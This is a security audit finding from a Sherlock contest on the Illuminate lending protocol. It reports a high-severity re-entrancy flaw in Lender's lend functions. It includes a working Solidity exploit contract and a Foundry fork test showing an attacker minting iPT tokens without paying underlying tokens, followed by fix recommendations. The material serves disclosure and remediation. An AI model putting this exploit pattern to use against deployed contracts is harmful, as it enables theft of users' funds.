sherlock-audit / 2022-10-illuminate-judging

3 stars 0 forks source link

Jeiwan - Re-entrancy during lending allows an attacker to mint iPT without paying underlying tokens #214

Closed sherlock-admin closed 1 year ago

sherlock-admin commented 1 year ago

Jeiwan

high

Re-entrancy during lending allows an attacker to mint iPT without paying underlying tokens

Summary

Re-entrancy during lending allows an attacker to mint iPT without paying underlying tokens

Vulnerability Detail

The lend functions of Lender that take a pool/router address are subject to re-entrancy attacks. The functions are:

  1. lend (Illuminate and Yield): calls the user-supplied y in yield (Lender.sol#L335, Lender.sol#L946);
  2. lend (Swivel): calls the user-supplied y in swivelLendPremium (Lender.sol#L423, Lender.sol#L968, Lender.sol#L946);
  3. lend (Element): calls the user-supplied e in elementSwap (Lender.sol#L503, Lender.sol#L1015);
  4. lend (APWine): calls the user-supplied x (Lender.sol#L601);
  5. lend (Sense): calls the user-supplied x (Lender.sol#L725).

    Impact

    One way to exploit this vulnerability is to deploy an exploit contract and pass its address as the y argument in the Illuminate/Yield lend function. The exploit contract will call the mint function, which will increase the iPT balance of Lender, which will trick the outer lend call to mint iPT to the attacker. The attacker will get an increased amount of iPT tokens without spending the underlying tokens.

    Code Snippet

    
    // test/fork/Lender.t.sol
    contract ExploitLendIlluminate {
    IERC20 immutable ipt;
    IERC20 immutable u;
    Lender immutable l;
    uint256 immutable maturity;
    address immutable owner = msg.sender;
    
    constructor(IERC20 ipt_, IERC20 u_, Lender l_, uint256 maturity_) {
        ipt = ipt_;
        u = u_;
        l = l_;
        maturity = maturity_;
    }
    
    function sellBasePreview(uint128 /* amount */) public view returns (uint128) {
        /* NOOP */
        return 0;
    }
    
    function sellBase(address /* receiver */, uint128 /* amount */) public returns (uint128) {
        ipt.approve(address(l), type(uint256).max);
    
        l.mint(uint8(0), Contracts.USDC, maturity, ipt.balanceOf(address(this)));
    
        ipt.transfer(owner, ipt.balanceOf(address(this)));
        u.transfer(owner, u.balanceOf(address(this)));
    
        return 0;
    }
    }

function testLendReentrancyExploit_AUDIT() public { vm.startPrank(msg.sender); IERC20(Contracts.ELEMENT_TOKEN).approve(address(l), type(uint256).max); vm.stopPrank();

deployMarket(Contracts.USDC);

runCheatcodes(Contracts.USDC);
deal(Contracts.ELEMENT_TOKEN, msg.sender, startingBalance);

// First, the attacker obtains some iPT tokens.
l.mint(uint8(3), Contracts.USDC, maturity, startingBalance);

address ipt = mp.markets(Contracts.USDC, maturity, 0);
assertEq(startingBalance, IERC20(ipt).balanceOf(msg.sender), "ipt balance sender");
assertEq(0, IERC20(ipt).balanceOf(address(l)), "ipt balance lender");

deal(Contracts.USDC, address(this), startingBalance);
IERC20(Contracts.USDC).approve(address(l), type(uint256).max);

// Deploying the exploit contract.
ExploitLendIlluminate exploit = new ExploitLendIlluminate(
    IERC20(ipt),
    IERC20(Contracts.USDC),
    l,
    maturity
);

// Send iPT to the exploit contract to use them in minting.
IERC20(ipt).transfer(address(exploit), startingBalance);

// Checking balances before.
assertEq(startingBalance, IERC20(Contracts.USDC).balanceOf(address(this)));
assertEq(0, IERC20(ipt).balanceOf(msg.sender));

// The attacker starts the attack.
l.lend(uint8(0), Contracts.USDC, maturity, startingBalance, address(exploit), 0);

// The attacker didn't spend underlying tokens.
assertEq(startingBalance, IERC20(Contracts.USDC).balanceOf(address(this)));
// The attacker got more iPT tokens.
assertEq(2 * startingBalance, IERC20(ipt).balanceOf(msg.sender));
// Lender also got some iPT tokens due to the mint call in the exploit contract.
assertEq(startingBalance, IERC20(ipt).balanceOf(address(l)));

}


## Tool used
Manual Review
## Recommendation
Consider using [ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) in all the `lend` functions, as well as in the `mint` function. Also, consider validating all the pool and router addresses supplied by caller. For example, maintain an allowlist of valid pools/routers or query a third-party registry contract to ensure a pool/router is a legit contract.

Duplicate of #179